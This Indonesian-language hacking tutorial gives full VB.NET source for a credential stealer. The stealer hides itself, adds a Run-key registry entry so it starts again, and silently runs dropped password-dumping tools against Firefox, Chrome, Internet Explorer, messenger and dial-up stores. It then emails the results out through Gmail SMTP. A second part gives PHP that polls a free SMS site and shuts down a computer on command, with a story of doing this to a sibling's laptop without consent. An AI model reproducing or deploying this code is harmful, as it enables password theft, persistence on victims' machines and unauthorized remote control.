belajar pemograman Vb.

net tentang aplikasi stealer atau aplikasi pencuri password yang telah
tersimpan dalam tmp software misalnya browser mosilla dll...
pertamax kita akan membuat 2 form yaitu build dan stubnya
langkah pertama buka visual basic 2008 dan pilih Windows form Aplication dan pada bagian
bawahnya ganti namanya menjadi Build >> klik OK
pada tab toolbox buat label sebanyak 2 buah, textbox, 2 buah, dan Button sebnayak 3 buah
(waduh kayak membuat lapet aja wkwkwkwkwkw)

Imports System.Net.Mail
Imports System.IO

Public Class Form1

Dim DisableHisRegistry As String
Dim Anti As String
Dim Stub, user, pass As String
Const FileSplit = "r3d3"
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As
System.EventArgs) Handles Button1.Click
user = TextBox1.Text
pass = TextBox2.Text
FileOpen(1, Application.StartupPath + "\Stub.exe", OpenMode.Binary,
OpenAccess.Read, OpenShare.Default)
Stub = Space(LOF(1))
FileGet(1, Stub)
FileClose(1)
If File.Exists(Application.StartupPath + "\Server.exe") Then
My.Computer.FileSystem.DeleteFile(Application.StartupPath +
"\Server.exe")
End If
FileOpen(1, Application.StartupPath + "\Server.exe",
OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, Stub & FileSplit & user & FileSplit & pass)
FileClose(1)
MsgBox("Server berhasil dibuat", MsgBoxStyle.OkOnly, "Berhasil")
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As

System.EventArgs) Handles Button2.Click
If TextBox1.Text = "" Or TextBox2.Text = "" Then
MsgBox("Anda belum melengkapi informasi email atau username!")
Else
Try
Dim MailInfo As New MailMessage
MailInfo.Subject = "Indonesian Cyber"
MailInfo.To.Add(TextBox1.Text)
MailInfo.From = New MailAddress(TextBox1.Text)
MailInfo.Body = ("Berhasil, Mari belajar bersama Kami,
visit me: http://www.indonesian-cyber.org")
Dim SMTP As New Net.Mail.SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New Net.NetworkCredential(TextBox1.Text,
TextBox2.Text)
SMTP.Send(MailInfo)
MsgBox("Silahkan cek Email anda... ! ")

Catch GError As Exception

MsgBox("Pengiriman log gagal !")
End Try
End If
 End Sub

Private Sub Button3_Click(ByVal sender As Object, ByVal e As

System.EventArgs) Handles Button3.Click
Process.Start("http://www.indonesian-cyber.org/fotum/")
End Sub

End Class

buka lagi visual basik 2008 dan pilih Windows form Aplication dan pada bagian bawahnya ganti
namanya menjadi Stub>> klik OK

buat textbox 1 buah, timer 1 buah

Imports System.Net.Mail
Imports System.IO

Public Class Form1

Dim Stub, text1, text2 As String
Dim settings(), user, pass As String
Const FileSplit = "test"

Function DialUpPWshow() As String

Dim open As String
Dim Ressource1() As Byte = My.Resources.Dialupass
FileOpen(1, Environ("tmp") & "\Dialupass.exe", OpenMode.Binary)
FilePut(1, Ressource1)
FileClose(1)
Shell(Environ("tmp") & "\Dialupass.exe /stext " &
Environ("tmp") & "\data.txt", AppWinStyle.Hide)
open = IO.File.ReadAllText(Environ("tmp") & "\data.txt")
Return open
End Function
' ==indonesiancyber==
Function IE() As String
Dim open As String
Dim Ressource1() As Byte = My.Resources.iepv
FileOpen(1, Environ("tmp") & "\iepv.exe", OpenMode.Binary)
FilePut(1, Ressource1)
FileClose(1)
Shell(Environ("tmp") & "\iepv.exe /stext " & Environ("tmp") &
"\iepv.txt", AppWinStyle.Hide)
open = IO.File.ReadAllText(Environ("tmp") & "\iepv.txt")
Return open
End Function
Function mess() As String
Dim open As String
Dim Ressource1() As Byte = My.Resources.mspass
FileOpen(1, Environ("tmp") & "\mspass.exe", OpenMode.Binary)
FilePut(1, Ressource1)
FileClose(1)
Shell(Environ("tmp") & "\mspass.exe /stext " & Environ("tmp") &
"\mess.txt", AppWinStyle.Hide)
open = IO.File.ReadAllText(Environ("tmp") & "\mess.txt")
Return open
End Function
Function firefoxpass() As String
Dim open As String
 Dim Ressource1() As Byte = My.Resources.PasswordFox
FileOpen(1, Environ("tmp") & "\PasswordFox.exe",
OpenMode.Binary)
FilePut(1, Ressource1)
FileClose(1)
Shell(Environ("tmp") & "\PasswordFox.exe /stext " &
Environ("tmp") & "\firefox.txt", AppWinStyle.Hide)
open = IO.File.ReadAllText(Environ("tmp") & "\firefox.txt")
Return open
End Function
Function chrome() As String
Dim open As String
Dim Ressource1() As Byte = My.Resources.ChromePass
FileOpen(1, Environ("tmp") & "\ChromePass.exe",
OpenMode.Binary)
FilePut(1, Ressource1)
FileClose(1)
Shell(Environ("tmp") & "\ChromePass.exe /stext " &
Environ("tmp") & "\ChromePass.txt", AppWinStyle.Hide)
open = IO.File.ReadAllText(Environ("tmp") & "\ChromePass.txt")
Return open
End Function
Function opera() As String
Dim open As String
Dim Ressource1() As Byte = My.Resources.ChromePass
FileOpen(1, Environ("tmp") & "\OperaPassView.exe",
OpenMode.Binary)
FilePut(1, Ressource1)
FileClose(1)
Shell(Environ("tmp") & "\OperaPassView.exe /stext " &
Environ("tmp") & "\OperaPassView.txt", AppWinStyle.Hide)
open = IO.File.ReadAllText(Environ("tmp") &
"\OperaPassView.txt")
Return open
End Function

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As

System.EventArgs) Handles MyBase.Load
Me.Visible = False
FileOpen(1, Application.ExecutablePath, OpenMode.Binary,
OpenAccess.Read, OpenShare.Shared)
text1 = Space(LOF(1))
FileGet(1, text1) ' options(1)
FileClose(1)
user = Split(text1, FileSplit)(1)
pass = Split(text1, FileSplit)(2)

Timer1.Start()
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As

System.EventArgs) Handles Timer1.Tick
Try
If My.Computer.Network.IsAvailable Then

My.Computer.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\Cu
rrentVersion\Run", True).SetValue(Application.ProductName,
Application.ExecutablePath)
Call DialUpPWshow()
Call firefoxpass()
Call mess()
 Call IE()
Call chrome()
TextBox1.Text = IO.File.ReadAllText(Environ("tmp") &
"\firefox.txt") _
& IO.File.ReadAllText(Environ("tmp") & "\data.txt") _
& IO.File.ReadAllText(Environ("tmp") & "\mess.txt") _
& IO.File.ReadAllText(Environ("tmp") & "\iepv.txt") _
& IO.File.ReadAllText(Environ("tmp") &
"\ChromePass.txt")

Dim MyMailMessage As New MailMessage()

MyMailMessage.From = New MailAddress(user)
MyMailMessage.To.Add(user)
MyMailMessage.Subject = ("Indonesian cyber")
MyMailMessage.Body = (TextBox1.Text)
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New
System.Net.NetworkCredential(user, pass)
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
Exit Sub

End If
Catch ex As Exception
End Try
Timer1.Stop()
End Sub
End Class

Hack sms

function getSMS($hp){
echo "<script type=\"text/javascript\">
function runCheck(){
document.location=\"".$_SERVER['PHP_SELF']."\"
}
</script>";
echo "<body onLoad=\"setTimeout ('runCheck()',60000)\">";
//MELAKUKAN PENGECEKKAN SETIAP 1 MENIT
$url = "http://www.sms-online.web.id/sms/sms.html?
d=inbox&f=inbox.gammu.list&Phonenumbers=".base64_encode($hp);
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER, true);
$getSource = curl_exec($ch);
curl_close($ch);
$noHtml = strip_tags($getSource);
$f1 = explode(base64_decode("Tk9NT1IgSFA="),$noHtml,2);
$f2 = explode(" ",$f1[1]);
$msgTime = $f2[2];
$f3 = explode("\n",$f2[4]);
$msg = trim($f3[2]);
$cekTimeLastMsg = mysql_query("SELECT * FROM inbox ORDER BY 1 DESC
LIMIT 0,1");
$row = mysql_fetch_row($cekTimeLastMsg);
 if($msgTime!=$row[1]){
if($msg=="shutdown"){
system("shutdown -s -t 0");
$set = mysql_query("INSERT INTO `shutdown-web-
sms`.`inbox` (
`id` , `rectime` ,
`msg` , `status`
)  VALUES (NULL , '".
$msgTime."', '".$msg."', '1');");
}
}
}
$hp = "085256593315";
getSMS($hp);

database

CREATE TABLE IF NOT EXISTS `inbox` (

  `id` int(3) NOT NULL AUTO_INCREMENT,
  `rectime` char(8) NOT NULL,
  `msg` varchar(20) NOT NULL,
  `status` tinyint(1) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;

“Laptop kakakku aku matikan lewat SMS juga kok, memanfaatkan Layanan Situs penyedia SMS
Gratisan di Internet. Situs yang aku pake adalah www.sms-online.web.id, Jadi kalo laptop kakakku
terkoneksi internet, halaman awal yang pertama terbuka sudah aku set untuk membuka halaman
web yang sudah aku program untuk mengecek SMS yang aku kirim ke situs tersebut. Kalo kakakku
pinter, pasti dia bakalan nge-close halaman web tersebut, tapi sepertinya kakakku bodoh. Hehe”

//Article Begin
Skema yang terjadi disini sebenarnya adalah:
1. SMS (dari mawar) >dikirimke> www.sms-online.web.id [disitus ini SMS dari Mawar tersimpan,
sehingga tugas code yang dibuat mawar adalah mengecek SMS terakhir yang dikirim dan belum
diproses.]
2. Code >mengecek-sms-terakhir-dari-nomor-HP-Mawar-di> www.sms-online.web.id . Jika
ditemukan SMS dengan pesan “shutdown” maka Code akan memerintahkan Laptop untuk
mematikan komputer.
Sehingga yang perlu dilakukan Mawar disini adalah membuat sebuah database lokal untuk
menyimpan semua SMS dari www.sms-online.web.id yang dikirim dari nomor HP nya.